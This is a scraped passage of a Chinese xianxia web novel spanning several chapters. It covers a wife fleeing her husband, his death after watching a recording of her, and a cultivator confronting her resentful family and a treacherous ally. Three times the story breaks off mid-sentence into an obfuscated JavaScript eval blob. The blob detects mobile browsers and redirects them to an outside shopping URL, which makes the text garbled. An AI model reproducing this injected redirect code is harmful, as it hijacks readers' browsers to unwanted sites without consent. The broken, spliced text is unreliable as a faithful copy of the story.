许萱自以为神不知鬼不觉地在洞天里搜寻材料,按赵延所教方法,悄悄做出了三枚信号弹。 然后在一个薄雾四起的清晨,离开了。 她没有进出的玉牌,但可以出去,只是出去后就无法再回来。 出洞天后许萱没敢走太远,生怕遇到些野兽或歹人,她躲在一处山窝里,放出了第一枚信号弹。 放出去前她心里是忐忑的,毕竟也没试过,万一失败了呢? 好在,过了大概一柱香时间,在她忍不住要放第二枚时,两道身影先后在她旁边落下:“娘!” 赵轻舟赵乘风来了。 兄弟俩跟丢父亲后,便住到了青山镇,每日里在附近搜寻,但总是一无所获。 两人还因为要不要继续这样浪费时间寻找吵了一架。 赵轻舟认为,父亲虽然修为和他们差不多,但经验丰富,真有什么棘手的麻烦是父亲解决不了的,那他们去了也无济于事,不如回去求林木儿放了孩子。赵乘风却觉得,人多力量大,父子齐心,其力断金,无论是何种情况,三个人总比一个人强。更何况,就算回去,那林木儿凭什么听他们的,放了孩子? 吵了半天,都觉得自己有理,最后决定,再找三天,如果还是找不到,就回去。 可能是双胞胎习惯了一起行动,他们居然没想过一个回去一个留在这里。 就在第三天,两人睡意朦胧中,感受到了一丝熟悉的异动,推开窗,就看到青山的半山腰,亮起一道只有父亲掌管的刑法堂才会看懂的信号。 他们飞奔上山,却没看到赵延,而是看到了母亲许萱。 赵轻舟背上母亲,一路飞奔回青山镇的客栈。 听母亲说完一切,赵轻舟说:“那咱们赶紧回去,告诉那林木儿,若是她不肯放人,咱们就拿着父亲的印信,多找些人逼宗主去施加压力。” “林木儿必然不可能放人的,不如直接回青木宗叫人,还快些。”赵乘风说。 赵轻舟微怒:“我早发现了,你对救孩子这事,一点都不着急,是不是因为你只有一个女儿?” “你这说的什么话?”赵乘风也怒了。 “别吵了,”许萱说,“我有事要跟你们说。” 两人从未见过母亲如此严肃,不由都静了下来。 “你们父亲,不,赵延之前一直是前宗主林潭的人,可现在青木宗当家的是谁?是林渊。也许你们觉得,赵延在青木宗这么多年,多多少少攒下了一些人脉。但你们有没有想过,新宗主上任后,他的那些人脉还能剩下多少?我只怕,逼宗主向林木儿施压不成,反而会被宗主趁机将赵延的人全部清空,然后换成自己的人。” 兄弟俩面面相觑,他们完全没想到这一茬。 “唉,”许萱叹气,“你父亲那样聪明,为何你们两个都是榆木脑袋。若你们有他一半的聪明和资质,我也不至于如此辛苦。” 赵乘风终于觉出不对来:“娘,你说什么呢?” 说父亲比他们聪明倒也罢了,资质? 谁不知道父亲是青木宗所有长老里资质最差的啊。 “我的意思是,你们无法直接联系林木儿,但青木宗总有你们能直接联系的人吧?先传讯回去,让他们把这件事扩散开,告知林渊,看他的反应。如果林渊没有救人的意思,我们得另做打算。” “什么打算?”兄弟俩对母亲佩服得五体投地,别看这位娘亲看起来柔柔弱弱,让人忍不住想保护,但真遇到事,比他们能扛多了。 “你们先把消息传回去,然后我们回青木宗说。”许萱看两人的样子,忽然不想在此时把话说得太明白,还是先把东西拿到手吧。 赵轻舟赵乘风两人无论修为还是法宝都很一般,又带着一个毫无灵力的许萱,因此从青山镇赶回青木宗时,已是下午。 三人没有惊动任何人,悄悄回了家。 果然,虽然消息已经传回来,但林渊知道后,只是象征性做了个样子,表了个态。 他让林木儿不要伤害无辜孩子,如今既已知孙喜男下落,他会派人协助她一起前往青山,抓回孙喜男,为林潭报仇。 派人协助林木儿前往青山抓回孙喜男? 跟余芷一起去过青山的三位长老同时呵呵了一声。 赵轻舟一颗心,如今真如大海里的一叶孤舟,风雨飘摇,看不到岸,没有着落。 他知道宗主不可能再为自己一双儿女做更多了,他甚至想要拼了命,亲自去救孩子。 可是母亲阻止了他。 许萱将赵延所留的灵石法宝以及一些金银珠宝悉数找出来,装入储物袋,趁着天色欲晚,拉着两个儿子,出了青木宗的山门。 “娘,你今天到底怎么了?我们要去哪里?不管无双和希来了吗?还有依依。”赵轻舟问。 赵乘风却沉默着。 许萱不说话,只催促他们驱使着飞行法宝,快些,再快些,一直飞到了青山城上空,才吩咐他们找了家客栈,开了个套间。 “现在可以说了吧,到底怎么回事?”赵轻舟问。 “林木儿抓孩子去,是为了逼赵延找到孙喜男。如今知道了孙喜男的下落,也无法再用孩子威胁赵延,并且大家都知道孩子们在她那里,她为了自己形象,也不会杀了孩子的,所以孩子没有危险。只是她也不会轻易放了孩子,想把孩子救出来,要么我们有足够的实力,要么,看她心情。”许萱看着依旧傻乎乎的赵轻舟和若有所思的赵乘风,犹豫了一会,说,“我带你们,去寻你们父亲,如果能找到,他有能力救孩子。” “什么?”赵轻舟跳了起来。 赵乘风却没他那么大反应,只是往椅背上那么一瘫,一副“果然如此”的表情。 “你们的父亲,叫徐远。我不知道他具体在哪里,只知道有可能在黑水门。”许萱装作看不到儿子们的反应,快速说,“去黑水门路途遥远,又很凶险,你们明日定要多买些补给,有多少买多少,尤其那些保命的法宝,拣最好的买。不用担心灵石,管够,赵延的所有财产,我都带着了。” 说完她也不看儿子,直接躺到床上,蒙上被子:“我累了,你们也睡吧。” 赵轻舟赵乘风两人闷闷走到外间,谁也没心思睡觉,双双坐在桌边,你看我一眼,我看你一眼,俱都不知如何开口。 他们并没有发现,此时有个人穿墙而入,走到母亲放在架子上的外衣面前,伸手揪走了上面一颗钮扣。 林河拿着那颗玄影石做成的钮扣,摇了摇头。 他其实很乐意听苏一枝的安排去隐身跟踪别人,这很符合他的性格,他就喜欢干这种阴阴的事,他讨厌光明正大。 但是偷偷进屋拿女人的钮扣什么的,真的很像个变态。 下次他得抗议,跟踪可以,但最好是跟踪男人。 苏一枝看着林河拿回来的玄影石,手指触上去,不由笑着皱眉:“可真够磨叽的,居然到了晚上才说。得亏这玄影石能一口气录十二个时辰,不然一块还不够。” “下回这种跟踪女人的事,交给孙姨吧。”林河面无表情。 孙喜男笑道:“我倒是很想,可我修为跟姓赵那俩小子差不多,怎么跟踪?等我努力提升的。” “现在去,还是明天去?”苏一枝问。 “现在吧,他正好有一夜的时间可以慢慢看。”孙喜男说。 赵延心里正在盘算着许萱已经走到了哪一步,一切都顺不顺利,听到脚步声抬头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14250329|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上颇有些视死如归的表情:“怎么?都来了?给我送行?” 他这一辈子,都在为自己活着,说是损人利己毫不为过。 没成想临到末了,还舍己为人了一把,这让他觉得,自己纵使做了无数为人诟病的事,但只要有这最后一件,都足以被评为一个光辉的人。 “许萱跑了,你知道吗?”孙喜男说。 她身后,苏一枝随手一招,一只似虎非虎背生双翅的灵兽出现,苏一枝坐到灵兽身上,看热闹一般,望着赵延。 林河双手抱臂,斜倚着墙,脸上没什么表情,偶尔抬头冷冷瞥过来一眼,脚下一只三尾灵豹,他抬脚去抚摸豹子,挺不尊重豹的动作,灵豹却明显非常享受,昂着脖子渴求更多。 赵延看着这阵仗,觉得自己今天应该死定了。 不过,他也没太多遗憾,这丛棘之中如此痛苦,他早就想死了,只恨不能自我了断。 有人说坏人只要放下屠刀就能立地成佛,他觉得自己这个坏人,岂止是放下屠刀,简直是伟大到另人落泪。 眼前这几人如果知道他所为,也会对他多几分敬佩吧。 “许萱跑了,关我什么事。”赵延说。 “是你教她逃跑的吧?”孙喜男问。 “是又如何?”赵延脸上隐隐有骄傲神色。 “赵延,”孙喜男靠近他,过近的距离,让她有点反胃,但她还是坚持离得这么近,然后一字一句,“当初你修炼出了岔子,修为停滞,就连男人都做不成。你一直觉得是我所为,对吧?” “难道不是?” “如果我告诉你,那件事根本与我无关,反而是你放走的许萱……和她的情人做的,你会如何?” “血口喷人。” “我知道你不信,毕竟在你眼里,许萱她娇弱,漂亮,善解人意,对你全身心依赖,把你当成她的天,对你多般讨好逢迎。但是很可惜,早在你之前,许萱就有情人,她的双胞胎儿子,也是别人的。你当年自以为俘虏了一位美少女,却不知当时她已有身孕,正在找人当孩子的爹。你以为,只有你是猎人?” 赵延变了脸色,嘴上却不肯服输:“你,你这贱妇,惯会放屁。你以为许萱不在,你就可以随意污蔑她?” “真是可惜呀,许萱跟我们讲如何与徐远分离,又如何与你相识,以及在她生孩子前夕徐远来找她,她如何不肯放弃这平静幸福生活,徐远气不过,动手脚让你修炼出了差错……种种这些过往时,你都没有在场,而我也忘了录下来,跟你一起欣赏。不过不用担心,”孙喜男笑得眼角皱纹都多了几道,“我知道你关心许萱离开后过得如何,所以帮你录了下来。” 她打开玄影石,清晰的画面浮现。 虽然没有许萱的脸,但她的声音,她周边的一切,都清清楚楚。 “很长,你可以慢慢看。”孙喜男坐下,“我陪你一起,有什么不懂的,可以问我。” 苏一枝打了个哈欠:“要不我就先回去了,你看着他,别让他睡着了。” “在丛棘里如果都能睡着,那是要让人佩服的。”孙喜男说,“不过我会看着他,他难得当一次英雄呢,总得有人陪他一起欣赏欣赏成果。” 林河没有说话,默默跟在苏一枝身后走了出去。 “你觉得他能撑到什么时候?”他问。 “最好撑到看完。”苏一枝说。 第二天一早,孙喜男来报,说赵延在清晨的时候死了,吐血而亡。 “哦,看到了哪里?” “看到许萱说灵石管够,赵延的所有财产她都带着了。” “挺有毅力嘛,不愧是青木宗刑法堂的长老。”苏一枝微微一笑,“林木儿,现在该你了。 45. 第 45 章 青木宗和离火宗出了怪事,很多弟子失踪了。 先是普通弟子,然后开始精英弟子,最后,竟连长老也开始失踪。 两大宗门,人人自危,高层头痛不已。 在这种情况下,没人记得杀死林潭的凶手还没着落,也没人在意赵延那三个孙子孙女是不是还在林木儿手里。 林木儿让林桐桐请来了苏一枝的家人。 苏一枝看着法阵外的林木儿和林桐桐,以及她们身后的几个人,内心五味杂陈。 有多久了?11年了吧? 她终于又一次见到了家人。 母亲王闲云已经48岁,毫无灵根又生育过多的女人,看起来无比虚弱苍老,曾经姣美的一张脸上,满满都是皱纹和怨气,脸颊的肉松而下垂,连那双美丽的眼睛,都因脸上肌肉的下垂而变成了三角眼,眼皮过于松驰,曾经的双眼皮现在看着也成了单眼皮。 大弟苏光宗,只比自己小两岁,如今已然二十有七,看着依旧孔武有力,完美继承了死去的父亲那力大无穷的优点,只是没有父亲幸运,父亲在他这个年纪,不仅娶得娇妻,孩子都好几个了。而看眼前这景象,苏光宗多半还未娶妻。听说如今凡人男子娶妻越来越难,看来是真的。 苏三枝,自己离家那年,她才10岁,曾经天天抱着自己胳膊不撒手的女孩,后来在离火宗对自己恶语相向,如今看着自己,也是眼神冷淡,像看一个陌生人。 剩下三个女孩长得几乎一样,年龄也相仿,苏一枝有点分不清了,不过其中有一个,看起来呆呆的,上次见的时候倒没有这种症状,可能因为上次见面,她们都还很小。 “不想见的话,我把她们赶走?”林河问。 苏一枝摇头,她心里对家人有不满,有抱怨,但也不至于就老死不相见了。 而且,家人对她当年失踪的真实情况全不知情,她想知道,如果知道了真相,她们会怎样? 会心疼她吗? 会为她而流泪吗? 苏一枝现身,走出了法阵,林河紧跟在她身后。 王闲云看到苏一枝,愣了一小会,然后扑上来,扬手就要打,被苏三枝死死拉住。 林河也站到前面,冷眼看着她。 王闲云被林河身上的冰冷气质和威压吓到,不敢动了,嘴上却不肯消停:“你这死丫头,这些年跑哪里去了,对我们不闻不问的!你还当自己是苏家人吗?没良心的死丫头!” 苏一枝没理她,问三个分不清的女孩中稍高一些的那个:“你是四枝?” 旁边的苏三枝冷笑:“她是五妹,那两个是六妹七妹。四妹早死了,你不知道吧?” “死了?”这是苏一枝没想到的结果,她问,“那二枝呢?” “也死了。” “怎么会?因为什么?” “还不是因为你!”苏三枝恨恨道。 “因为我?”苏一枝心底升起的那股茫然无措一下子消失得无影无踪,“怎么会因为我?与我又有何干?耀祖也因为我死了?” “呸呸呸!”王闲云连呸三口,“说什么昏话,耀祖好着呢!” “耀祖离家有些年头了,说起来也是拜你所赐。”苏三枝说。 苏一枝从储物袋里拿了张椅子,坐下:“好,那你说说,怎么个拜我所赐法。” 真是稀奇,她九死一生,流落秘境,与世隔绝十年,外面这么多人过得不好竟然都是因为她。 跟她有什么关系? 王闲云见她竟然自己坐下了,也不让她们进门,动了气,甩开苏三枝:“你当初要是不闹腾,在离火宗好好过日子,我们家会过得这么难?” “在离火宗好好过日子,不闹腾……”她看了一眼抱着胳膊在旁边看热闹的林木儿,说,“你们觉得,是我自己不想好好过日子的吗?” 苏三枝按住王闲云,让她不要开口,然后走到苏一枝面前:“母亲说不清楚,我来说。当初你被带去离火宗,哪怕排除嫁给宗主儿子这件事,也是可以好好修炼的,是极好的机会,这点你承认吧?” 苏一枝点头:“承认。然后呢?” “但你做了什么?几次三番闹腾,既不肯嫁人,也不肯修炼,最后干脆来了个逃跑失踪。这么好的改变人生改变家人命运的机会,你就这么白白作掉了。二姐就是受了你的影响,才一心要嫁给修仙之人。我不认同她的思想,但她确确实实是受了你的影响,想要弥补你犯下的错,才嫁了个散仙,又拿人家灵石接济家里,然后拼命生孩子证明自己,最后难产死了。还有耀祖,当年我们去离火宗找你,耀祖求你让姐夫引荐他去白金宗,你若答应了,他也不会后来独自出门拜师,一去这么多年毫无音讯。至于四枝,确实是她自己不听劝,怨不得你。” 苏一枝一直低头听着,到现在方才抬头:“二枝四枝什么时候死的?” “三年前。” “三年前,四枝才多大?” “我说了,四枝的确是自作自受。” “那二枝难产而死,你们有找过她夫家算账吗?” “这倒没有,生孩子而死,找夫家有什么用。” “所以三枝,是我让二枝拼命生孩子的吗?这世上有很多女人都因为生孩子而死,难道她们都有一个我这样的姐姐,逼得她们不得不去给男人生孩子?” 王闲云再次跳起来:“别人生孩子死,关我们什么事?二枝的事,就得怪你!你一走了之,不问家里的事,还以为你死了呢,原来没死啊?没死也不管家里,你知道我们这么多年是怎么过的吗?” “这么多年是怎么过的……”苏一枝低下头,笑了,笑了好一会才又抬头,眼睛有些红,“你知道我们这么多年是怎么过的吗,这句话,11年前,你们就问过我。在我被辱骂殴打被各种符咒噬魂钉日日夜夜折磨,只求一死而不能的时候,我的母亲,我的妹妹,你们问我,知不知道你们这些年是怎么过的。在我几乎被凌迟肢体破碎九死一生几乎魂飞魄散,然后忍受蚀骨之痛铸魂锻体重生,又苦捱十年才得以重见天日之后,你们又问我,问我知道你们是怎么过的吗。” 苏一枝微红的眼终于湿润,她顿了一会,微微压抑着吸了一口气,直直盯着苏三枝:“那你们,又知道我是怎么过的吗?” “既然你们都羡慕我,妒忌我,恨我有了好机会不知珍惜,那不如就把这个机会给你们,让你们替我珍惜,如何?” 苏三枝脸上现出犹疑之色,她已经开始觉得事情不太对,她转身去找“师父”,却发现刚才还跟林木儿站在一起的林桐桐,已然不见了踪影。 她想起出发之前,林桐桐跟她说,离开苏家村后,听闻修真界有传言,说前些日子离火宗来了个很厉害的丹药师,大闹宗门,害得几大门派死伤无数,后来被人戳穿了真面目,逃了,听说真名就是叫苏一枝。 “不会就是你们家大姐吧?”林桐桐说,“我在离火宗有个朋友,父亲和哥哥被人害了,结果那凶手跑到苏一枝藏身的地方,被苏一枝藏匿,我朋友深感无奈。你们要不要去劝劝大姐,让她别这么固执?那凶手又不是什么好人。” 她们于是举家跟着林桐桐来了,谁知一见面翻起前仇旧恨,也没人提起大姐藏匿杀人凶手这事。 苏三枝又去看林木儿,“师父”的朋友。 林木儿啪啪拍了几下手,叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14258106|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“不愧是苏一枝,这是准备六亲不认?你们家的事,你们自己慢慢解决,先把孙喜男交出来如何?” 孙喜男走出法阵:“你找我?” “你!”林木儿身上暴起青芒,“受死!” “当着我的面,动我的人。”苏一枝冷笑,衣袖翩飞之际,林木儿身子已经飞出去,直直坠下青山。 “今天先不管她,林河,”苏一枝转头问林河,“你的幻境符练得怎么样了?” “林少爷竟也会制作幻境符?”孙喜男眼睛都直了。 “看过林木儿做。”林河淡淡道,“拜天赋所赐,什么都会一点,但缺少练习,所以什么都不精。” “已经很厉害了!你知道整个青木宗,才几个人会做幻境符吗?”孙喜男赞叹,“除了林木儿,就只有林渊擅长这个,就连余芷夫人,做起这个来都有些四不像呢。” “你还不知道吧?”苏一枝笑道,“林河他过目不忘,那些人怎么跟他比。” 王闲云苏光宗几人俱被苏一枝方才显露的强大力量惊到,呆呆站在那里,很久都没有动作,也不敢有什么动作。 倒是苏三枝终于回过味来,自己应该是被林桐桐骗了。 真可惜,以为能遇到个散修师父,结果是别人的一条狗,还好没有真正拜师。 她当初是极想拜师的,是林桐桐说不必受那些师徒之礼束缚,才没有正式行礼。 幸好。 不然真是有够晦气。 她也终于明白了,一直以来,或许她们都冤枉了大姐,或许大姐真的受了天大的委屈,而她们全都不知道,还步步紧逼。 苏三枝看了看呆若木鸡的母亲和大哥,以及几个妹妹,隐隐约约猜想到了接下来会发生什么,她想求情,却开不了口。不过苏一枝跟林河的对话她听得清清楚楚,幻境符,也就是说,待会儿不管发生什么,都是幻境,倒也不必担心。 她这个大姐,心还是有些软,如果是自己,恐怕做不到这样。 “我有些累了。”苏一枝说,“把符给我,我输入一下记忆,剩下的你看着办吧,注意别弄出人命就好。” 林河抬头看着她的眼睛:“你去休息,交给我。” 苏一枝转身离开。 她承认,这么些年,她对家人其实是有怨言的。 年少的时候不懂,虽然抱怨,但仍是母亲说什么,她都尽量照做,努力证明自己是有用的。 除了不肯猎杀那些善良的灵兽,她又有哪件事没听母亲的呢? 甚至,如果不是秦旺的出现,苏一枝毫不怀疑,自己即使怀着满腹委屈与怨言,也真的会嫁给那个王大胖。 可是她的隐忍与顺从换来了什么? 到头来,一切都是她的错。 她受了那样的折磨,下半身几乎不成形,躺在床上动都不能动,分明是那样痛苦,她的母亲,她的哥哥弟弟,她那么多的妹妹,竟无一人发现,话里话外都是她不省心,她做得不好,她让家人受累了…… 可即使那样,最难过的时候,她也依然想回家,直到后来差点神魂俱灭,历尽折磨得以重塑神魂与体魄,回顾以往,方开始为自己不值。 这口怨气,堵在她胸口十年了。 她恨不得让所有人全都遭受一遍她所经历的痛苦,可她下不去手,即使有幻境符,她也不敢看,还要交待林河,注意着点,别出人命。 真是,可笑。 两个时辰后,林河来叫苏一枝:“其实都还好,你母亲有些不知悔改,但她体弱,也不敢太过。要将她们赶走吗?” “不,都叫进来。”苏一枝说,“我还有事要跟三枝说。” 46. 第 46 章 苏三枝是带着满脸的怒气进入洞天的。 刚一通过法阵,她便有些呆了。 此时此刻,她才真正开始羡慕大姐苏一枝。 若说以前,她羡慕苏一枝拥有进入仙门的机会,又怒其不知珍惜,那么现在,在知道了大姐曾经遭受的大半苦痛之后,见到这华丽壮阔又充满仙气的洞天,她才真真正正慕了。 羡慕大姐的天赋。 羡慕大姐经受那么多苦难依然不倒的坚强,羡慕她可以从头来过的毅力。 别的家人们还在如纸糊的低质人偶般发呆,苏三枝已经扑通一声跪倒在苏一枝面前:“姐,对不起。” 苏一枝没有说话。 苏三枝抬起头仰望着她:“姐,我知道错了。我承认,那时候我特别害怕自己会被代替你嫁给王大胖,所以才恨上了你。” “你可以原谅我吗?姐?”见苏一枝一直不肯开口,苏三枝慌了,眼泪也涌了出来,“我真的知道错了,我将那些仙门之人看得太高,他们说什么,我就信什么,却从来没有亲自问过你事情到底是怎样。姐我错了,你原谅我好不好?原本我们两个就是最要好的呀。” “将仙门之人看得太高……”苏一枝终于开口,“这样的错,也不是你一个人才会犯。” “所以姐,你愿意原谅我吗?”苏三枝抹了一把眼泪,“如果你实在不原谅我,我也接受。但不管怎么样,我要找那林桐桐报仇。我算看出来了,她从开始去我们家,就没安好心。” “你想报仇,其实很简单。”苏一枝问,“她有给你留传讯符吗?” “有!”苏三枝站起身,从腰间摸出一把灵符,“但我不知道怎么用。” 苏一枝教了她传讯符的使用方法,道:“你给林桐桐传讯,只需问她:知不知道自己还剩几年的命?看着林木儿那样浪费她的寿命许各种心愿,就真的不心疼吗?” 苏三枝震惊,张了张嘴,但终究没问,只是依言照做。 “这整个,都是你家?”王闲云终于从木呆中清醒过来。 她确实对大女儿有太多不满,身为长女,应该负担起家庭责任,可苏一枝都做了些什么? 明明有那样好的条件,天上砸下来的馅饼,却总作天作地,把全家的好日子都给作没了。 就在刚刚,她被那个叫林河的投入幻境,经历了一些苏一枝的事。 别人的排挤什么的,她只当听不到,小白狗被杀,她也无所谓,但林木儿那些折磨人的各种符,她是真受不了。撑到被林木儿投入地牢,以丛棘困住,王闲云已是九死一生。 眼见再继续下去她会真的没命,林河只得将她从幻境拎出来,但也没完全放出,而是让她看了一遍苏一枝遭遇的一切。 所以就在进洞天之前,王闲云心里其实也是愧疚的。 但所有愧疚都在看到眼前这洞天时消失得无影无踪。 苏一枝她现在居然,过得这么好。 既然过得这么好,为何不与家人联系?不让家人也沾光享受一下? 王闲云又气了起来。 “是又如何?”苏一枝皱眉。 “是的话,我们也要住在这里。”王闲云说。 “娘!”苏三枝生气了,“你做什么呢?大姐她在这里,是要修炼的,一大家子住这里整天叨扰,她如何修炼?” “我无所谓,”苏一枝笑了一下,“不过,你们也看到了,离火宗青木宗,还有白金宗,几大宗门跟我都有些不对付。虽然他们一时半会儿打不开这大门,但我还有个仇人,是黑水门的黑水邪神。他的能力,比所有宗门加起来都要厉害,只要他找过来,杀我跟捏死一只蚂蚁一样简单。到时候你们不要抱怨是我连累了你们。” 王闲云害怕了,但她还想挣扎一下:“那怎么办,我们住在老家,一样会被你那些仇人找到。” “我尽最后一次孝。”苏一枝说,“在附近给你们买处宅子,近一点,就在山脚下的青山镇,人少,东西便宜,远一点,可以去几十里外的青山城,人多,城大,东西贵,你们自己选。只要你们自己不跳,那些人不会找上你们。但我说了,这是我最后一次尽孝,以后要是再惹我不高兴,就别怪我六亲不认。” “当然去青山城。”王闲云脱口而出。 苏光宗拉了拉她衣袖:“娘,还是在青山镇吧。” “想好了哦,我只负责买宅子,至于你们住下后如何生活,那是你们自己的事。” “就在青山镇吧,即便宜,离山林又近。”苏光宗说,“麻烦姐了,我会努力克服障碍,赚钱,争取把宅子钱还你。” “凭什么还……”王闲云还要说话,被苏三枝厉声喝断。 “娘!”苏三枝怒道,“你有完没完?” 她转向苏一枝:“姐,我想留在你身边修炼,可以吗?我知道我天资有限,但我什么都可以做,只当个打杂的也行。可以吗?” 苏一枝同意了。 她出钱,在青山镇买了处宅子,王闲云带着苏光宗苏五枝苏六枝苏七枝住了进去,苏三枝则留在了洞天内。 苏三枝腰间灵符闪个不停,但她装作没看到,直到安顿好了家人,才将灵符拿给苏一枝看。 而这时,林桐桐已经在洞天外等候很久了。 她的修为比林木儿更低,根本不可能发现洞天,只知道大概位置,联系苏三枝无果后,便一直在那里空等。 苏一枝交给了苏三枝几块玄影石,告诉她如何使用。 “这个是用过的,到时候放出来给她看。剩下这些空白的,给她,让她自己看着办。” 苏三枝开开心心捧着玄影石出去了。 她腰里也挂上了出入玉牌。 当初苏一枝做的两块牌子,一块给了孙喜男,还有一块给了她。 林桐桐终于看到有人出现,两眼放光:“三枝,我……” “行了。”苏三枝摆手,“你不用解释,反正你说啥我都不信。我不是来听你解释的,是来给你看这个。” 她手指触上那枚玄影石,微弱灵力覆盖上去,画面显现出来。 林桐桐如何被林木儿带进沼泽,靠近那片死水湖泊,又如何被林木儿一张幻境符丢入幻境。林木儿如何与鱼跃商量,献祭林桐桐寿命许愿,求一次怀孕的机会。以及,真实的鱼跃,是如何对她林桐桐一脸嫌弃,言语间尽是鄙夷。 林桐桐浑身发冷。 她想起自己几次从那湖底出来,身心满足,自觉堪比出水芙蓉,原来,不过是只毛发湿透奇丑无比的落水狗。 糟糕透顶,却浑然不知。 一直以来,她不是不知道,自己只是林木儿的一颗棋子,甚至是她养的一条狗,林木儿指谁,她便去咬谁。 没有尊严,没有道德,可她心甘情愿。 毕竟,和受折磨相比,出卖些良心实在不算什么,别人受折 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267671|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 磨,总好过自己受折磨。 可她万万没想到,自己在林木儿眼里,连狗都不如,那样浪费她的寿命,一次又一次。 如果连命都没有了,那自己所做的一切,又有何意义呢? 哆嗦间林桐桐触碰到怀里的?草,她拿出来,黄色的花已然干枯,但效果仍在,她珍惜又珍惜,卡着时间吃,最近还想着再冒险去一趟沼泽。 她握紧双手,用上灵力,仅剩的?草化作粉末,张开手,粉末飘散在风里。 林桐桐接过苏三枝递来的玄影石:“我会做好的。” “及时送过来,不要让我催你。”苏三枝说。 玄影石可以记录12个时辰的影像,然后保留7天,而苏一枝有无穷无尽的玄影石,所以每隔7天,她会将所有关键内容重录一遍,保存起来。 现在这个工作是苏三枝的了。 “咦~~”苏三枝捂住眼睛,“这个林木儿,怎么每次见到那个鱼跃,都那样啊。” 孙喜男笑道:“看来不该让你整理,毕竟是个未婚姑娘。” 苏三枝叉腰:“未婚怎么了?我一辈子都不结婚,难道一辈子都看不得这些?我就是觉得他们怎么这样恶心,一个个,饿狗一样。” “真好。”孙喜男看着她,“当初,我也是想着不结婚的,可惜……三枝,若是你以后遇到喜欢的人,想结婚了,一定带回来给我们都过过目。孙姨我自己有眼无珠,不敢托这个大,但林河很厉害的,看人特别准。” “是吗?”苏三枝瞥了林河一眼,她不是很愿意相信林河。 如果可以,她希望姐姐也能像自己一般,一辈子只修炼,不结婚,可这个林河跟姐姐什么关系?他不会是,想骗姐姐结婚吧? 那得先过了自己这一关。 林河静静迎上那道不友善的目光,几乎不易觉察地轻笑了一下。 “说起来,我有件事一直想与苏姑娘商量,但总开了不口。”孙喜男说,“苏姑娘,我想改名字。” “哦?”苏一枝有些意外,“新名字想好了吗?叫什么?” “这个名字,我本来就很不喜欢。从赵延死的那天清晨,我就决定要改,可总觉得不太好意思,都这个年纪了。” “这有什么不好意思,快说说,新名字是什么?” “遇仙,我想改名叫孙遇仙。” “好名字。”林河说。 “我近日想为你们都点上魂灯,就用新名字,正好。”苏一枝说。 其实她与大家相处的时间不过还剩一年,这魂灯点与不点,区别不大,可她还是想点,她还没有为别人点过魂灯呢。 苏三枝跳起来:“那我也要改名字,用新名字点魂灯。” 说完又泄气坐下:“算了,这名字虽然有点敷衍,但其实也不算难听。” 接下来的时间,苏一枝给三人都点了魂灯,每日除了呆在空间里的四个时辰外,就是教孙遇仙和苏三枝丹药,林河偶尔也教两人如何用毒,以及一些简单的法阵。 苏三枝虽然灵根驳杂,注定修为不会太高,但在丹药和用毒方面竟意外有些天赋。 只可惜,丹药仍然要受修为限制。但毒药不一样,哪怕没有任何灵力,毒药用起来效果都是一样的。 “毒药真是太适合我了。”苏三枝感叹。 这天苏三枝正在检查林桐桐送来的玄影石,忽然叫了一声:“呀!这个人我见过!” 47. 第 47 章 众人围过来,只见那玄影石显示的画面中,林桐桐和林木儿正在跟一个老人说话。 苏三枝指着那个老人:“当年,那个青木宗的林潭宗主去骗我们劝姐姐时,这个人好像也在。” “是管着符箓堂的齐长老,”孙遇仙说,“青木宗除了林渊外,修为属他最高。当初林潭还在时,跟林潭关系极好,林潭去哪里都带着他。林潭死后,很多心腹应该逃不掉林渊的清洗,但齐长老不会,他是青木宗除了林家以外的定海神针。说起来,他算是林木儿半个师父。” 林木儿一张明艳的脸此时哭得梨花带雨:“秦炎和我叔叔,都因为最近众多弟子失踪的事心烦,我说起这些,他们听都懒得听。人走茶凉,当前的人更重要,我知道,不怪他们。但我也知道,就算别人都不管我父亲,齐伯伯也不会不管。若非迫不得已,我其实不想叨扰齐伯伯,可是……可是好不容易才等到这个机会,我不想错过。” “你当真在北林里看到了苏一枝跟孙喜男?”齐长老问。 “没错,不光我,桐桐也看到了。”林木儿停止抽泣,“我近日得知一个消息,说是那苏一枝,擅兽语,能与灵兽沟通。而北林凶兽横行,想来她们定是找凶兽来了。” “她们找凶兽做什么?”齐长老不明白。 “齐伯伯还不明白么?北林靠离火宗很近,她定是指挥那些凶兽,去伤害离火宗弟子。近期失踪的弟子,说不定就被那些凶兽吃了。” “竟有此事!”齐长老怒了,“如此说来,去北林捉拿苏一枝和孙喜男,也不光是为前宗主报,更与眼下弟子失踪紧密相关,为何秦炎跟林渊宗主竟都不予理会?” “怪我,我先说了想替父兄报,他们就以为我只是为了报仇,凶兽之类说法都是借口。” “岂有此理!我与你们同去!” 